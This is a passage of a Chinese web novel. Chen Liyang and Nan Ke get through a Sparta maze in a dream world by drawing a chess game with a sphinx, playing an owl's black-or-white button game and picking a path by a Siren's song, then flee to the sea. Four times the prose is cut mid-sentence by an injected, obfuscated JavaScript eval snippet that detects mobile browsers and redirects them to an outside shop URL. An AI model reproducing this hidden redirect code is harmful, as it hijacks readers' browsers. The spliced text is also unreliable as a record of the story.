果然,陈立阳笑道:“我们这盘棋,可以是和棋。”他顿了顿,“不过,我希望你回答我几个问题。” 斯芬克斯一向在智慧上碾压别人,此时在这一方面被别人碾压,滋味着实不太好受。他沉着脸:“我无法告诉你之后的关卡怎么通过。” “当然。” 斯芬克斯露出心动的神色。 陈立阳和南柯对视一眼,然后没给斯芬克斯过多思考时间,直接道:“第一个问题,在这一关卡的分岔口,有直行、向左和向右三个方向。你处在直行的路径上。那么,另一只斯芬克斯是在左边的路径吗?” 斯芬克斯的下巴似乎不由自主地点了一下,但幅度极小,不仔细看根本无法发现。他冷声道:“这个问题我不能回答。” “好。”陈立阳并未纠缠,接着问:“第二个问题,迷宫的路径设置,是否和斯巴达王国相关?” 这个问题并不直接和通关方式相关,斯芬克斯斟酌片刻:“是。” “是阿波罗的里拉琴?” 斯芬克斯看了他一眼,没说话。 陈立阳心中有了计较,语速飞快:“是符号Λ?” 这次,斯芬克斯与陈立阳对视的瞳孔轻微放大,然后快速别开眼。 陈立阳吐出一口气:“多谢。” 斯芬克斯神色复杂:“我什么都没说。” “当然。”陈立阳指了指棋盘:“轮到你了。” 斯芬克斯有些犹豫:“你就不怕我临时变卦,等你放松警惕,再反败为胜?” “当然怕。”他笑了笑,“所以,我们最好五个回合之内就达成和棋。当然,如果你想临时边变招和我较量一下算力,我也没意见。主动权在你手里。” 斯芬克斯目光灼灼地盯着眼前的年轻人。对方仿佛始终胜券在握,任他如何在棋盘上搅弄风云,都能自如应对。 半晌,斯芬克斯终于叹了口气,落下走向和棋的一子。至此,主动权已经完全落在陈立阳手里。 陈立阳信守承诺,在之后的三步之内和斯芬克斯达成和棋。下一刻,棋盘上的所有棋子全部凭空消失。 陈立阳:“所以,我们现在是不是可以离开了?” 斯芬克斯看着他,难掩好奇心:“你说的那个,真正精妙的‘白先七步杀’的排局,能否告知?” 陈立阳笑着在棋盘上点了几个位置,并且介绍了每个位置的棋子种类。他每说一个位置,棋盘上便多一颗棋子,等他说完,残局已成。 斯芬克斯完全被棋盘所吸引,没抬头,摆了摆手让他们离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713629|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开前,陈立阳再次道谢。 看着他和南柯的背影,斯芬克斯低垂的眼中露出一抹算计。他低声呢喃:“真能出去再道谢吧。” —— 返回岔路口的路上,陈立阳终于缓缓吐出一口气。 南柯看向他,有些好奇:“刚刚从斯芬克斯的态度来看,显然那个棋局即使是二十分钟也很难破解,你看一眼就直接想到解法了?” 陈立阳语出惊人:“其实,我对国际象棋的了解不是很深,基本知道规则罢了。只是我小时候看过几本国际象棋的棋谱,专门讲各种精妙残局的解法,其中,就包含斯芬克斯摆出的那个棋局和我最后告诉他的那个排局。” 南柯停住脚步:“所以,如果他真的中途反悔不想和棋了,在变招的情况下,你没有完全的把握能赢他?” “嗯。所以,我从一开始就装作胜券在握的样子,时刻给他灌输他不可能赢我的想法,从心理上攻破他的防线,让他只能沿着和棋的路数走下去。” 南柯默了默。片刻,她竖起一个大拇指:“果然是天才小孩儿。” 陈立阳有些不好意思,清了清嗓子转移话题:“刚刚我问斯芬克斯另一只斯芬克斯是不是在左边,姐姐怎么看?” 南柯想了想:“他看上去像是下意识想要点头,但又立刻反应过来及时收住动作。不过,我总感觉他的表现有些僵硬和刻意,有刻意引导的成分。”她顿了顿,“如果让我选,我倾向于左边是安全的。” 陈立阳点头:“我的想法大致也一样。刚刚那只斯芬克斯自诩智慧无双,又极度傲慢,他引导我们和另一只斯芬克斯碰面,如果我们赢了,那另一只斯芬克斯就会死,他会成为唯一的智慧化身;如果我们输了,那正好可以报复他输给我们所受到的屈辱。” 南柯:“不过,我倒是有些疑惑。在希腊神话里,这些怪物应该都具有唯一性。但这个三岔路口处绘制的三处图标又都是斯芬克斯,说明这里两条错误的路径上蹲守的怪物都是斯芬克斯,很奇怪。” 陈立阳:“也说得通。毕竟这个阵法本身就是虚拟的,里面的怪物可能都是复制了本体技能的能量体。不然,这个皇宫根本无法集齐这么多种类的怪物。” 南柯:“确实。”她不再纠结这一点,“你刚刚问斯芬克斯迷宫和什么有关,是不是已经看出一些规律?” “嗯,”陈立阳点点头,“如果当前这个分岔口的正确路径是向左的话,那结合我们之前走过的路径,我对整条正确路径的形状有了一个大致判断。” 他手指在虚空中比划了一个手势:“斯巴达王国信奉太阳神阿波罗,而可以代表阿波罗的标志物一个是太阳,另一个就是他手持的里拉琴。我们走过的路径不太像太阳的圆弧,所以我猜测或许是里拉琴的琴弦。但斯芬克斯的反应说明不是这个。” 他继续道:“另一个可能性,就是斯巴达王国的代表符号Λ。在希腊语中,斯巴达的首字母就是Λ,斯巴达战士的盾牌上通常会涂上红色的Λ字母,作为战场上的识别标志。” 这些神话类的东西南柯不太懂,听了陈立阳的解释,她恍然大悟:“而斯芬克斯的反应告诉我们,这个猜测,十有八九是正确的!” 35. 特洛伊战争(十六) 陈立阳点头表示他也这么想,然后道:“如果是里拉琴,我还很难推测出后边的路径,还好是Λ符号。” 南柯:“因为……这个符号是对称的?” 陈立阳笑了笑:“姐姐好聪明。” “这都是很表面的东西,是你比较博学。”说到博学,南柯又想起陈立阳的身份,眼神不自觉变得复杂起来。 如果真的是他,八年前,他应该只有十岁左右吧。 南柯想不出她什么时候认识过一个这样的小孩子。 不过,陈立阳似乎没捕捉到南柯的表情变化。这次,他走在前面,返回岔路口后直接走向左侧的道路。果然,一路上,他们没再遇到另一只斯芬克斯,安然地通过了这个岔路口。 陈立阳对当前的境况做出分析:“目前来看,要推测出剩余路径的走向,我们至少还要顺利通过两个路口才行。” 南柯:“这里的怪物出手的速度很快,用【骨弓】射箭可能来不及,催眠类的道具也是一样的道理。就像美杜莎的技能通过目光锁定,恐怕我们来不及使用道具就会变成石头。” 她点开个人面板:“目前,我还有一个替身类的道具【傀儡人偶】,可以为我们试探一条路。再间接一些的话,有个道具叫【真理之页】,可以指定一件事成为既定事实,不过这个事实不能直接影响应试者的生死。我先来试试【真理之页】。” 她调出【真理之页】,面板上飞快传出提示音:“请说出您希望成为既定事实的事件。” 南柯:“我接下来在岔路口选择的道路都会是正确的。” 面板:“抱歉。由应试者主观介入的事件无法进行操作,请您重新说出您希望成为既定事实的事件。” 南柯想了想:“从这里到迷宫出口,所有的岔路口中,最右侧的道路都是正确道路。” 这次,面板停顿的时间比较久。 片刻,里边传出提示音:“抱歉,该事件与应试者的生死直接相关,无法进行操作。请您重新说出您希望成为既定事实的事件。” 这个要求相当于直接送他们通关,南柯本来就觉得达成的可能性不是很大,所以一直没有使用这个道具。不过,她不死心,继续缩小范围:“在下一个岔路口处,最右侧的道路是正确的道路。” 这次,面板很快回答:“抱歉,该事件与应试者的生死直接相关,无法进行操作。请您重新说出您希望成为既定事实的事件。” 南柯:“……” 她有些无奈,如果这都不行的话,那限制也太过严苛。她暂时想不到这个道具的使用场景。 陈立阳安抚:“没事,姐姐。我们先去下个路口看看,万一和斯芬克斯一样不是强攻型的怪物……说不定我们直接就能通过。” —— 第五个岔路口距离第四个路口比较远,他们大概走了二十分钟才抵达,这同样是一个三分岔的路口。 不过,这次在岔路口的图标看起来并不怪异,至少没有前面几个离谱。它看起来就像……一只普通的猫头鹰。 陈立阳盯着那只猫头鹰看了几秒钟。 片刻,他迟疑道:“希腊神话里似乎没有和猫头鹰相关的怪物。不过,猫头鹰一般被看作是雅典娜的象征,代表可以洞察真相的智慧。提到猫头鹰的话……” 他的后半段话没来得及说完。未知的力量控制着他的身体朝向左侧的岔路口走去。 他急忙转头看向南柯,发现南柯与他一样不受控地朝直行的方向走去。两人只来得及交换一个眼神,视线便完全被厚重的墙壁隔绝。 陈立阳的脑海中盘旋着那句他未说完的话—— “密涅瓦的猫头鹰在黄昏时起飞。” 这是德国哲学家黑格尔关于哲学的独特论述,“密涅瓦”是雅典娜在罗马神话中的名字,而“黄昏时起飞”的猫头鹰可以看到白天所发生的一切,象征着黑格尔认为哲学的本质是回望与反思。猫头鹰因此被视为智慧和哲学的双重象征。 所以,这个路口的考验,或许和哲学相关? 陈立阳没来得及想太多。他很快见到了这个分岔路口所标识的东西——一只口吐人言的猫头鹰。看情况,他和南柯八成被强行推入了两个错误的分岔路口接受考验。 猫头鹰貌似遗憾地叹了口气:“可惜,只有两个人,不然这个游戏会更加有趣。” 陈立阳没说话。 迷宫不会给应试者设置百分之百会死的关卡,既然他们能被强行送入错误路径,说明这个路径上的危险并不像喀迈拉或者地狱三头犬那样靠近即死。 果然,猫头鹰接着道:“不要紧张。这个路口很简单,只需要你们和我一起做个小游戏。” 它先后提到“两个人”和“你们”,说明这个小游戏会同时考验南柯和自己。会是默契考验之类的吗? 正想着,陈立阳的面前凭空出现了一个半人高的圆柱形平台,上面有黑色和白色两个按钮。 平台出现后,刚刚还略带遗憾的猫头鹰仿佛瞬间来了兴致。他语调透露着愉悦,语速加快:“此时,你和你的同伴面前有一个一模一样的圆柱形平台。我们的规则是,你们各自选择一个颜色的按钮按下。如果你们都选择了黑色,或者都选择了白色,那么恭喜,你们两人都可以活下去。然而,如果有一个选择了黑色,另一个选择了白色,很遗憾,选择白色的人会死,而选择黑色的人存活。”他扑棱了一下翅膀,“怎么样,很简单吧?” 陈立阳垂眸看向眼前的按钮—— 是很简单。 几乎没有任何犹豫地,他的手伸向其中一个按钮。 在他按下之前,猫头鹰打断了他,似乎对他的轻率十分不满:“年轻人,你确定要选择这个选项吗?明明有百分之百可以确保自己活下来的选择。” 陈立阳牵了牵唇角,直接朝他选定的按钮按下去。 在猫头鹰困惑的眼神中,他轻声道:“这就是百分之百可以活下来的选择。因为,我知道她会选什么。” —— 这个游戏有百分之百可以确保自己活下来的选择——这是南柯面对眼前两个按钮的第一想法。 从理性的角度来看,游戏中个人的最优解是选择黑色按钮,因为选择黑色的人一定会活着。如果她和陈立阳都能理性做出选择,那么个人的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732413|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优解势必会导致整体的最优解,两人都选择黑色,那么两人都可以活下去。 然而,她不知道在另一边与自己同时做出选择的陈立阳是否会在这个问题上做到“理性”。所以,这个问题的核心可以简化为:猜猜队友会选择什么。 如果两人有十足的默契,那么皆大欢喜。如果没有的话,这个问题又可以进一步简化为:如果很不幸,最终结果为一黑一白,你希望自己是白还是黑? 南柯想到了在【细胞工厂】中陈立阳塞给她的【幻梦冰晶】。 虽然只经历过两回【造梦空间】里的梦境世界,但谁都看得出这里边凶险至极。那时候,她和陈立阳也只是萍水相逢,但对方将这个珍贵的保命机会留给了自己。 纵使还不知道他是不是自己要找的人,但仅凭这份真挚,便当有回报。 在她做出选择前,猫头鹰最后做出提醒:“我知道你有一些凌驾于神力之上的东西,但如果在这一关中,你自愿做出的选择导致了你的死亡,那么那些东西也无法挽回你的生命。” 凌驾于神力之上的东西……南柯想了片刻,应该指的是她的道具。看来,这次的选择确实是生死抉择,【幻梦冰晶】也无法生效。 南柯随意点点头,表示自己知道了。随后,她又问:“如果我在这个游戏中的结局是‘死亡’,那么我死亡的时间节点是什么时候?” “当然是你的生命线耗尽的时候。” 也就是说,即使他们在这里受到致命伤害,梦境也不会立刻判定失败,只会在这个梦境结束的时候统一结算,就和之前困在酒神幻境中的赵磊等人一样。 那就好,可以坚持到和陈立阳共同逃离皇宫护卫队的封锁。 问清楚这些,南柯没再给猫头鹰开口的机会,果断地按下了白色的按钮—— 周围无事发生。 只是,她按下的那一瞬间,猫头鹰明亮的眼睛中流露出人性化的复杂情绪。 南柯淡淡问:“怎么样,我的结果是死是活?” 猫头鹰钩形的嘴喙动了动。片刻,它冷声道:“你做选择的速度可比你的同伴慢很多。”语气显然兴味索然。 说完,它的身形便渐渐变得透明,直至消失。 从它的反应来看,南柯大致猜到了陈立阳的答案。但猫头鹰说他做选择的速度比自己快很多。她记得自己并没有思考太长时间,也就一分钟左右。那陈立阳呢?是四十秒?二十秒?还是更短? 他是从一开始就知道自己会选择白色吗? 南柯快步折回上一个分岔路口。 她到的时候,陈立阳已经在岔路口等着。这次,她放任自己在阿芙洛狄忒的神力作用下加快的心跳,直视陈立阳的眼睛。 她冷静问:“你猜到我会选择白色?” 陈立阳点点头,似在陈述一件很简单的事:“你说过,不会让我死的。” 南柯挑眉:“我说你就信?”如果我说话不算数你就死了你知不知道。 陈立阳笑了笑:“信,只要你说,我就信。”因为,在你忘记的那些回忆里,你从未食言。每一次,都在用生命践行说出口的承诺。 36. 特洛伊战争(十七) 抛开猫头鹰所在的左侧和直行道路,无疑右侧道路是正确的路径。 从第五个岔路口到第六个岔路口的路上,南柯和陈立阳都很沉默。如果下一个路口可以顺利通过,根据迷宫的对称性设计,后边的岔路口便再也困不住他们。南柯开始动摇,她到底是否要和陈立阳确认身份? 如果他是“于尘”,他和蝶网势必存在某种联系;如果他是“Chen”,当年的白色风信子又是怎么一回事?他用陈立阳的身份出现,说明他暂时并不想暴露某些隐藏的秘密,那自己真的要刨根问底吗? 这些问题在短时间内很难想出确切的答案。转眼间,第六个岔路口出现在两人面前。 这个岔路口居然出现了四个分岔路口,找到正确路径的难度更大。路口的墙壁上,黑金色的线条勾勒出人面鸟身的怪物形状。 陈立阳尽职尽责地扮演百科全书的角色:“人面鸟身,应该是海妖塞壬。” 南柯飞快从杂乱的思绪中抽离出来,回归当下的困境:“这个图标的上半身,看上去……是不是有点像星巴克的logo?” 陈立阳笑道:“的确。星巴克的logo和塞壬有些渊源。塞壬以充满魅惑的歌声著称,每当有船员经过她所在的海域,她都会用歌声迷惑,从而将船员吃掉。” 他指了指墙壁上的图标,“我们现在看到的塞壬是带有翅膀的,相传,塞壬曾经挑衅艺术女神缪斯,要和缪斯比试歌声,结果她输掉了,就被缪斯拔去双翼,后面多以人身鱼尾的美人鱼形象出现。” “中世纪的教堂中有很多双鱼尾塞壬的形象被雕刻在石壁上,而星巴克品牌创立的时候选中这个图标,一方面是为了纪念它的诞生地是海港之城西雅图,另一方面就是为了表达他们的咖啡和塞壬一样具有吸引力。” 南柯觉得很神奇。如果不是陈立阳的讲述,她完全无法将日常生活中经常看到的咖啡图标和希腊神话中的怪物联系起来。 “这么看来,塞壬的攻击手段应该是歌声了,我们是不是可以把耳朵塞起来避免被魅惑?” 陈立阳答道:“希腊神话中确实提到有船员用蜡块封住耳朵就可以安全通过塞壬的海域,不过……” 显然这个关卡的解法不会有那么简单。 果然,他话还没说完,他们面前就出现了人面鸟身的塞壬虚影。 不愧是以魅惑见长的海妖,不仅是歌声,她的脸庞也美丽至极。长而卷曲的红色长发海藻般垂在她的胸前,顾盼生姿。 塞壬朱唇轻启:“看来两位有些见识。不过,捂住耳朵可没办法帮助两位通过这个路口~” 出现在分岔路口的虚影想必和找到正确路径的规则相关。南柯冷静问:“那么,我们怎样才能找到正确路径?” 塞壬笑着冲她眨眨眼:“别心急嘛,我这不是马上就要说啦~”她展开翅膀,飘逸地在南柯两人前方的空地上游移:“你们需要分别走入面前的四个路口,聆听我的歌声,越往里走,就听得越清晰。每个路口的安全距离为十米,超过十米,则会永远陷落其中。如你们所知,这四条路中,只有一条正确的路径,而正确的路径和其他三条路径上的歌声会有非常细微的差异。” 她脸上露出神秘的笑容:“每条路,你们都只有一次踏入的机会。当你们第二次踏入的时候,就意味着你们已经做出选择。如果选择错误,这次可没有十米的缓冲地带了~” 南柯在心里把她的规则翻译了一遍:把四条路都走一遍,找出其中歌声与其他三条路有差异的正确道路,然后做出选择。选择错误,则死。 不过…… “你的歌声会对我们造成魅惑效果,把我们引向安全距离之外,是吗?”陈立阳问出了南柯心里的疑惑。 “当然。”塞壬的目光在南柯和陈立阳之间流转,片刻,她露出一个古怪的笑容:“不过,想要破解这种魅惑效果也很简单……” 她的虚影渐渐变得模糊。南柯抓紧时间问:“怎么破解?” “恋人的心跳。” 说完这句话,塞壬虚影彻底消失。她最后的声音被周边的墙壁反射,层层叠叠地回荡在空气中,许久才完全消散。 空气陷入短暂的沉默。 恋人的心跳…… 恋人吗? 南柯不知道,被阿芙洛狄忒的神力捆绑的两个人能不能算作恋人,不过,现在看来也只能死马当作活马医。 她抿抿唇:“你对声音敏感吗?” 陈立阳想了想:“大概……一般般。” 南柯:“我以前接受过听声辨位的训练,可能在对声音的辨析上稍有优势。那我来试一下。” “好。”陈立阳对她展示出百分之百的信任。 南柯顿了顿,开口道:“不过,为了抵御塞壬歌声的魅惑效果,等会儿可能需要你配合一下。” 陈立阳也顿了顿。不过很快,他便问:“怎么配合?” 南柯轻咳一声:“冒犯了。” 说着,她慢慢靠近陈立阳。等到两人之间的距离不足一掌之宽时,她微微侧头,将自己的耳朵贴在陈立阳心脏的位置。 少年有力的心跳一声一声在她的耳中炸开。一开始,心跳的频率尚且平稳,几秒钟后,这个频率便以飞快的速度攀升,南柯的鼓膜似乎也随着这种节奏极其细微地震颤起来。 她心头一动,立刻移开耳朵,退后两步,与陈立阳恢复到正常的社交距离。 “就像……这样。” 对方许久没说话,南柯觉得自己的心跳频率也后知后觉地快了起来。在她看不到的角度,陈立阳从脖颈到脸颊再到耳垂,都染上血一般的红色。 南柯再次感慨,神力的作用简直就是一个无解的bug。 在她忍不住要出言缓解尴尬时,沉默的陈立阳终于开了口:“好。”顿了顿,他又认真补了一句:“没事,不冒犯。” “……” 南柯平复了一下略微失控的心跳,然后看向自己身上的衣物。都是棉布质地,倒是不难撕扯。只是上身的短衫本身就很短,不方便再撕下一块来,而裤子撕一片下来又太奇怪。 她看向陈立阳身上长度过膝盖的米白色长袍,再次轻咳一声:“再冒犯一下……”说着,她便捞起他衣服的下摆,利落地从上边斜着撕下一片布料,然后又把这一片再次撕扯成两半。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739378|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把两片布料递给陈立阳:“你把这个塞进两只耳朵里,我们之中至少有个人得完全保持清醒。” 陈立阳完全不在意她的反复“冒犯”:“好。放心吧姐姐,我保证不会让你越过十米的安全距离。” 南柯随意“嗯”了声,目光在四个路口处扫过:“那我们开始吧,先去最左边。” 大概制定过方法后,南柯和已经把耳朵塞起来的陈立阳小心地走入最左边的路口。 刚刚踏入路口后,南柯谨慎地停住脚步开始感受声音。但是,正如塞壬所说,这里的歌声越往里走越清晰,站在路口处捕捉到的声音响度极低,完全听不清楚。南柯只能放慢脚步继续往里走,而陈立阳紧紧跟在她身边。 大概深入两米后,耳中的歌声虽然仍十分微弱,但终于不再断续,可以被完整地捕捉到。至此,南柯终于感受到了歌声带来的眩晕感,眼前仿佛出现了重影,开始头重脚轻。她站在原地调整了很久,才继续走出下一步。 随着深入,歌声越来越清晰,美妙的歌声仿佛要把人拉入极致温柔的梦境。 某一个瞬间,南柯看到她前方的不远处不再是冰冷的迷宫墙壁,而是大片的白色风信子。白色的花儿在风中自由地摇曳着,散发出甜美的香味,让人不受控制地想要靠近,南柯也果真这样做了—— 然而,在她的手指刚刚要触碰到风信子的花瓣时,她感觉右侧传来一股巨大的拉力。 下一刻,眼前的花海凭空消失。 她的左耳中仍然流淌着塞壬充满魅惑的歌声。而她的右耳边,是擂鼓般沉稳有力的心跳声。 几秒钟后,歌声带来的眩晕感消失得七七八八。南柯终于明白,“破解魅惑效果需要恋人的心跳”这句话的含义。清醒后的她也终于意识到刚刚发生了什么—— 在歌声的引导下,她失去了对距离的感知,险些走出十米的安全距离。危急时刻,是陈立阳一把拉住她,将她直接揽入怀中。 她听到陈立阳轻声道:“姐姐,冒犯了。” “……” 南柯没说话。因为陈立阳正塞着耳朵,说了他也听不到。 这个位置已经十分接近十米处,歌声悠扬而清晰,她趁着难得的清醒时间努力记忆歌声的旋律。 因为不知道塞壬所说的“细微差异”究竟指什么,南柯很耐心地在这里停留了十分钟。她发现这段歌声大概每三分钟重复一次,她将完整的歌声重复听了三遍。而陈立阳一直维持一动不动的姿势,安静地当好叫做“恋人的心跳”的道具。 十分钟后,南柯终于抬起手指,轻轻敲了敲陈立阳的胳膊。 后者顿了两秒钟,才如梦初醒般意会了南柯的意思。他维持着这个姿势,缓慢地带着南柯向后倒退,直至两人安全地回到岔路口。 为避免“拥抱”带来的尴尬,南柯飞快道:“趁着我还记得刚刚的旋律,我们赶紧去下一条路。” 说完,她才意识到陈立阳现在听不到。 她深吸一口气,直接拉起陈立阳的手腕,带他走入左数第二条路径。 陈立阳:“……”他本来还想问问南柯有没有生气刚刚自己擅自把她拉进怀里来着。 37. 特洛伊战争(十八) 生死攸关的局面,南柯也顾不上什么避嫌了。为了防止她再出现上次那样猝不及防被蛊惑的情况,这一次刚进入路口后她就直接侧身贴在陈立阳的心脏处。 陈立阳很绅士,在南柯保持清醒的情况下,他没有再伸手将她抱在怀中,只是任由她靠近。 大概走到和第一个路口差不多的距离,南柯停下脚步。她仔细聆听淌入耳膜的歌声。同样停留十分钟后,她示意陈立阳一起退出去。 陈立阳将耳中的布条暂时取下:“怎么样?” 南柯轻轻拧眉:“这两个路口的歌声……似乎没什么区别。” “那这两个路口应该都不是正确的选项。”陈立阳看向剩下的两个路口:“我们继续?” 南柯有些迟疑。她很怕走完四个路口,她听到的歌声都没有任何差别。那样的话,即使她可以用【幻梦冰晶】排除掉一个路口,剩下三个路口仍然是三选一。她不想因为自己的原因害死陈立阳。 不过,这样的迟疑只持续了一秒钟。事已至此,她只有集中精神,用尽全力破局。 调整好心态好,南柯和陈立阳按照和之前一样的方法进入第三个路口和第四个路口探查。在最后一个路口,她停留的时间格外久,回到岔路口时,耳中似乎还萦绕着永不停歇的歌声,和……陈立阳的心跳声。 在他们探索完四个路口的那一刻,塞壬虚影再次出现在岔路口。她巧笑嫣然:“怎么样,得到答案了吗?” 南柯神色平静,看不出情绪。她没回答塞壬,而是看向陈立阳:“这四个路口的歌声的确极其相似,我心里有一个答案,但我没有百分之百的把握。” 两人贴近所带来的暧昧氛围缓慢褪去,此时是真正的生死抉择。 塞壬充满魅惑的声音再次响起:“哦,抱歉,忘了提醒二位~在你们做出选择的瞬间,无论正确与否,这个岔路口都会直接消失~现在,请慎重决定你们的命运吧~” 也就是说,依靠【幻梦冰晶】率先进行试探的想法完全行不通,他们只有一次选择的机会。 陈立阳看起来倒是很轻松,完全没有生死一线的紧迫感。他笑了笑:“姐姐,大胆走吧。不管你选的路通向哪里,我都会和你一起走下去。” 南柯闭着眼睛深吸一口气。再睁开眼时,她的眼神变得坚定无比,再无犹疑,径直朝着左数第三条路走去。 她和陈立阳的脚步同时迈过路口,下一刻,正如塞壬所说,原本是路口的位置,蓦地升腾起一面厚重的大理石墙壁,彻底阻断了他们的回头路。 南柯之前在这里听到的歌声此时已经完全消失,这条路此时仿佛只是一条普通的小路。 选对了! 实际上,这四条路的歌声基本别无二致,只是在第三条路上,歌声伴随着极其微弱的海浪声,南柯一度以为是她听太久了产生的错觉。还好最后的结果是好的。 南柯不自觉松了一口气。精神力长时间高度集中,饶是凭借她强健的体魄,此刻也觉得有些疲惫。她看向陈立阳:“天才小孩儿,接下来,就看你的了。” 陈立阳很认真地点了点头:“姐姐,要不要休息一下?” 南柯调出个人面板中的生命之丝,此时,这根纤细的银丝长度已经不足一厘米。 “不用了。我们抓紧出去吧,时间不多了。” —— 按照陈立阳的推测,他们接下来要走Λ符号的另外一半。 前六个分岔路口中,前三个路口是两分岔,第四、五个路口是三分岔,最后一个路口是四分岔。而他们经过的第七个分岔路口果然也是四分岔,再次佐证了整个迷宫是对称设计的猜测。 接下来,由于对路径的预判,他们顺利地通过了后边六个路口,这个作为“斯巴达护国阵法”的迷宫,再无法对他们造成阻碍。 很快,两人便来到距迷宫出口只剩十米距离的拐角处。 看着近在咫尺的出口,陈立阳道:“皇宫的护卫队这时候应该就在迷宫外守株待兔。叶帆我倒是不担心,只是林易……我怕他还会出手。” 南柯:“之前时间紧急,没来得及和叶帆他们沟通更多。他们的任务是阻止我们逃离斯巴达王国,而我们的任务是逃离皇宫护卫队的封锁。两者之间其实留出了一个可以钻的空子,可以实现双赢。” 陈立阳很快反应过来:“你是说……我们可以逃离皇宫护卫队的封锁,但却不离开斯巴达王国?” 南柯点点头:“所以,等下有机会的话,我们可以和他们说明这一点。” “那接下来我们该往哪个方向走?” 南柯调出她关于这个梦境的线索道具,那副油画上,最后一个场景的中心位置,是海边的一艘小帆船。 她作出决定:“去海边!” —— 在南柯和陈立阳踏出迷宫的那一刻,地面突然响起剧烈的轰鸣声。那些厚重的大理石墙壁正如它们升起时一样,正在慢慢降下去。 几秒种后,声音平息,地面恢复平整,迷宫如同从未出现过一样。 然而,南柯还没来得及庆幸劫后余生,便感觉自己的后心被一阵锋锐的气息锁定! 出于对危险的敏锐感知,她飞快回头,左手抬起时,【骨弓】已经随着她的心意出现在手上。远方,一道寒芒冲她直射而来。她来不及反应,对准空中的那点冷光射出月矢—— 蕴含庞大能量的月矢直接将对面的寒芒溶解,并带着煊赫的气势继续向前推进。眨眼的功夫,月矢已经没入对面偷袭者的体内,然后很快化为月光消失得无影无踪。 林易维持着抬弓的姿势。他低头看向自己的左胸,此刻,那里有一个微小的孔洞,看着微不足道。只是,这个孔洞却洞穿了他的心脏。 他一直想利用护卫队的优势直接围杀南柯和陈立阳两人,奈何他扮演的只是护卫队长,权力无法越过优柔寡断的叶帆,只能在叶帆让护卫卸掉武器的时候偷偷保留自己的弓箭。 他本以为“护国阵法”里那些无解的怪物一定可以置两人于死地,即使他们侥幸逃出,也一定躲不过自己的箭,然而,他千算万算都想不到,他们居然逃出了十死无生的迷宫。而且,他也低估了南柯的反应速度。 心脏被洞穿导致他的心血管系统瞬间崩溃。他不甘地看向南柯,嘴唇翕动,却再也发不出任何声音。在他的身体倒下前,南柯读出了他唇语留下的最后两个字。 “护卫队长”被击杀,护卫队群情激奋。南柯来不及和叶帆、秦萝沟通,护卫队便疯了一般追上来。南柯飞快用唇语留下一句“下次见”,便和陈立阳朝无人守卫的南大门跑去。 由于之前陈立阳跟随阿芙洛狄忒御空而来时看到了大海的精确方位,所以一离开皇宫,他便带南柯朝海边跑去。好在,皇宫距离海边并不远,他们跑出三公里左右,海岸线便出现在视线里—— 大海平静而深邃,周遭空无一人。一艘木质的帆船孤单地漂浮在靠近岸边的地方,仿佛在等待着将奔逃的恋人载至彼岸。 追兵暂时没有追上来。南柯想了想,捡了根木棍,在海水无法漫过的沙滩上给叶帆留下一行字。然后,她看向陈立阳:“会游泳吗?” 陈立阳愣了愣,不过,看着地上的字,他很快明白了南柯的意图:“我们……要跳进海里?” “嗯,跳进海里,就彻底摆脱了护卫队,附加任务也可以完成了。接下来,只需要等叶帆他们的行动。” 陈立阳抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755092|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抿唇,他也不想拖后腿,可是…… “我不会游泳。” 南柯笑了笑,似乎没觉得这是什么大问题。不过,在走向大海前,她抬起头,对上陈立阳琥珀色的瞳孔。可能是爱神的神力作祟,两人目光相对时,难以名状的情愫又开始在他们之间蔓延。 南柯轻声道:“你说过,如果我们能出来,你会回答我剩下的问题。” 陈立阳的眼中显然闪过一抹挣扎。不过,他没打算抵赖:“是。现在问吗?” “嗯。” 陈立阳忐忑等着南柯的下文,不过,她很久都没开口。 直到护卫队的动静由远及近传来,轻如羽毛的声音终于落在陈立阳的耳中—— “本来有很多问题的,但突然之间不知道从何问起。” 南柯脸上露出难得真实的笑意,“那些白色风信子很漂亮,是我见过最漂亮的花。” 